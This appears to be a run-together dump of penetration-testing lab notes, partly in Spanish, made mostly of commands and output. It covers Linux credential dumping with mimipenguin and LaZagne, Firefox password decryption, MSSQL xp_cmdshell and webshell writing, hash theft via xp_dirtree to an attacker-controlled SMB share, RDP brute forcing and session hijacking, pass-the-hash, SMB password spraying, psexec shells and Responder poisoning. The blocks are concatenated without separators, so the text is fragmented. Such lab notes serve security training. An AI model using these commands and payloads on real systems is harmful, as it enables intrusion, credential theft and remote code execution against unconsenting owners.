fifor i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;donecry0l1t3@unixclient:~$ for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
#### Log file: /var/log/dpkg.log.1
2022-01-10 17:57:41 install libssh-dev:amd64 <none> 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-installed libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 configure libssh-dev:amd64 0.9.5-1+deb11u1 <none>
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-configured libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status installed libssh-dev:amd64 0.9.5-1+deb11u1
...SNIP...cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh
[sudo] password for cry0l1t3:
MimiPenguin Results:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHYcry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Shadow passwords -----------------
[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::
[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::
[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY
[+] 3 passwords have been found.
For more information launch it again with the -v option
elapsed time = 3.50091600418cry0l1t3@unixclient:~$ ls -l .mozilla/firefox/ | grep default
drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------ 2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.defaultcry0l1t3@unixclient:~$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
{
"nextId": 2,
"logins": [
{
"id": 1,
"hostname": "https://www.inlanefreight.com",
"httpRealm": null,
"formSubmitURL": "https://www.inlanefreight.com",
"usernameField": "username",
"passwordField": "password",
"encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
"encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
"guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
"encType": 1,
"timeCreated": 1643373110869,
"timeLastUsed": 1643373110869,
"timePasswordChanged": 1643373110869,
"timesUsed": 1
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}gzzcoo@htb[/htb]$ python3.9 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release
2
Website: https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'
Website: https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'python3 firepwd.py -d $(pwd)cry0l1t3@unixclient:~$ python3 laZagne.py browsers
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Firefox passwords -----------------
[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test
[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh
[+] 2 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.2310788631439209# Conectarse al MSSQL con autenticación SQL
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 2>/dev/null
# Conectarse al MSSQL con autenticación Windows
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 -windows-auth 2>/dev/nullgzzcoo@htb[/htb]$ sqsh -S 10.129.20.13 -U username -P Password123C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123# Obtener versión
select @@version;
# Obtener usuario actual
select user_name();
# Obtener nombres de las bases de datos
SELECT name FROM master.dbo.sysdatabases;
# Utilizar una base de datos
USE master
#Obtener tablas de una base de datos
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#Lista de servidores vinculados
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#Lista de usuarios
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Crear usuario con sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'# Oneliner para habilitar el componente xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Nos aparecerá si se ha configurado correctamente o no. Verificar ejecución de comandos.
xp_cmdshell "whoami"# Ejecución de comandos xp_cmdshell a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -x 'whoami'
# Ejecución de comandos xp_cmdshell a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -x 'whoami'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -x 'whoami'# Podemos hacer uso de responder para tener el servidor SMB montado y recibir el hash
responder -I tun0 -v
# También podemos hacer uso de impacket-smbserver para recibir el hash
impacket-smbserver smbFolder $(pwd) -smb2supportEXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;
xp_dirtree '\\<ATTACKER_IP>\smbFolder\x';
EXEC master..xp_subdirs '\\<ATTACKER_IP>\smbFolder\x',1,1;
EXEC master..xp_fileexist '\\<ATTACKER_IP>\smbFolder\x',1,1;# Hash Stealing xp_dirtree a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
# Hash Stealing xp_dirtree a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)gzzcoo@htb[/htb]# nmap -Pn -p3389 192.168.2.143
Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 04:20 BST
Nmap scan report for 192.168.2.143
Host is up (0.00037s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-servergzzcoo@htb[/htb]$ rdesktop -u admin -p password123 192.168.2.143
Autoselecting keyboard map 'en-us' from locale
ATTENTION! The server uses an invalid security certificate which can not be trusted for
the following identified reasons(s);
1. Certificate issuer is not trusted by this system.
Issuer: CN=WIN-Q8F2KTAI43A
Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate, the connection atempt will be aborted:
Subject: CN=WIN-Q8F2KTAI43A
Issuer: CN=WIN-Q8F2KTAI43A
Valid From: Tue Aug 24 04:20:17 2021
To: Wed Feb 23 03:20:17 2022
Certificate fingerprints:
sha1: cd43d32dc8e6b4d2804a59383e6ee06fefa6b12a
sha256: f11c56744e0ac983ad69e1184a8249a48d0982eeb61ec302504d7ffb95ed6e57
Do you trust this certificate (yes/no)? yesxfreerdp /v:"10.10.10.10" /u:'user' /p:'password' /dynamic-resolutionxfreerdp3 /v:"10.10.10.10" /u:'user' /p:'password' +dynamic-resolutiongzzcoo@htb[/htb]$ cat usernames.txt
root
test
user
guest
admin
administratorgzzcoo@htb[/htb]$ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOPgzzcoo@htb[/htb]$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-25 21:44:52
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://192.168.2.147:3389/
[3389][rdp] host: 192.168.2.143 login: administrator password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-25 21:44:56gzzcoo@htb[/htb]$ hydra -L user.list -P password.list rdp://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password foundxfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129nxc smb 192.168.134.129 -u 'User' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}C:\htb> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>juurena rdp-tcp#13 2 Active 7 8/25/2021 1:23 AM
lewen rdp-tcp#14 4 Active * 8/25/2021 1:28 AM
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 4 /dest:rdp-tcp#13"
[SC] CreateService SUCCESSC:\htb> net start sessionhijackrdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfergzzcoo@htb[/htb]$ mysql -h 10.129.20.13 -u username -p'Password123'C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13gzzcoo@htb[/htb]$ sudo dpkg -i dbeaver-<version>.debgzzcoo@htb[/htb]$ dbeaver & disown 2>/dev/nullmysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)sudo apt install cifs-utils139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)enum4linux -a target_ip# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP
# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10smbclient //10.10.10.10/Recurso -U 'user%password'# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc smb 10.10.10.10 -u 'user' -p 'password'
# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc smb dc.domain.htb -u 'user' -p 'password' -k
# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc smb dc.domain.htb --use-kcache
# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc smb 10.10.10.10 -u 'user' -H '<NTLM_HASH>'smbclient -L 10.10.10.10 -N 2>/dev/nullsmbmap -H 10.10.10.10 --no-banner -u 'guest' -p ''nxc smb 10.10.10 -u 'guest' -p ''nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares
# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus
# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-polnxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-usersnxc smb 10.10.10.10 -u 'user' -p 'password' --sessionsnxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'nxc smb 10.10.10.10 -u 'user' -p 'password' --samnxc smb 10.10.10.10 -u 'user' -p 'password' --lsanxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vssenum4linux -a 10.10.10.10# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.
for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'iC:\htb> dir \\192.168.220.129\Finance\
Volume in drive \\192.168.220.129\Finance has no label.
Volume Serial Number is ABCD-EFAA
Directory of \\192.168.220.129\Finance
02/23/2022 11:35 AM <DIR> Contracts
0 File(s) 4,096 bytes
1 Dir(s) 15,207,469,056 bytes freeC:\htb> net use n: \\192.168.220.129\Finance
The command completed successfully.C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
The command completed successfully.C:\htb> dir n: /a-d /s /b | find /c ":\"
29302C:\htb>dir n:\*cred* /s /b
n:\Contracts\private\credentials.txt
C:\htb>dir n:\*secret* /s /b
n:\Contracts\private\secret.txtc:\htb>findstr /s /i cred n:\*.*
n:\Contracts\private\secret.txt:file with all credentials
n:\Contracts\private\credentials.txt:admin:SecureCredentials!PS C:\htb> Get-ChildItem \\192.168.220.129\Finance\
Directory: \\192.168.220.129\Finance
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/23/2022 3:27 PM ContractsPS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
N FileSystem \\192.168.220.129\FinancePS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
N FileSystem \\192.168.220.129\FinancePS C:\htb> N:
PS N:\> (Get-ChildItem -File -Recurse | Measure-Object).Count
29302PS C:\htb> Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
Directory: N:\Contracts\private
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/23/2022 4:36 PM 25 credentials.txtPS C:\htb> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
N:\Contracts\private\secret.txt:1:file with all credentials
N:\Contracts\private\credentials.txt:1:admin:SecureCredentials!gzzcoo@htb[/htb]$ sudo mkdir /mnt/Finance
gzzcoo@htb[/htb]$ sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Financegzzcoo@htb[/htb]$ mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfileusername=plaintext
password=Password123
domain=.gzzcoo@htb[/htb]$ find /mnt/Finance/ -name *cred*
/mnt/Finance/Contracts/private/credentials.txtgzzcoo@htb[/htb]$ grep -rn /mnt/Finance/ -ie cred
/mnt/Finance/Contracts/private/credentials.txt:1:admin:SecureCredentials!
/mnt/Finance/Contracts/private/secret.txt:1:file with all credentialsgzzcoo@htb[/htb]$ hydra -L user.list -P password.list smb://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid passwords found# Password Spraying sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success
# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce
# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-successgzzcoo@htb[/htb]$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list
user_file => user.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197
rhosts => 10.129.42.197
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 10.129.42.197:445 - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedgzzcoo@htb[/htb]$ impacket-psexec -h
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
target [command ...]
PSEXEC like functionality example using RemComSvc.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)
optional arguments:
-h, --help show this help message and exit
-c pathname copy the filename for later execution, arguments are passed in the command option
-path PATH path of the command to execute
-file FILE alternative RemCom binary (be sure it doesn't require CRT)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
it
-port [destination port]
Destination port to connect to SMB Server
-service-name service_name
The name of the service used to trigger the payload
-remote-binary-name remote_binary_name
This will be the name of the executable uploaded on the targetgzzcoo@htb[/htb]$ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami && hostname
nt authority\system
WIN7BOXgzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\systemgzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\systemgzzcoo@htb[/htb]$ responder -I <interface name>gzzcoo@htb[/htb]$ sudo responder -I ens33
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.198]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-2TY1Z1CIGXH]
Responder Domain Name [HF2L.LOCAL]
Responder DCE-RPC Port [48162]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[SMB] NTLMv2-SSP Client : 10.10.110.17
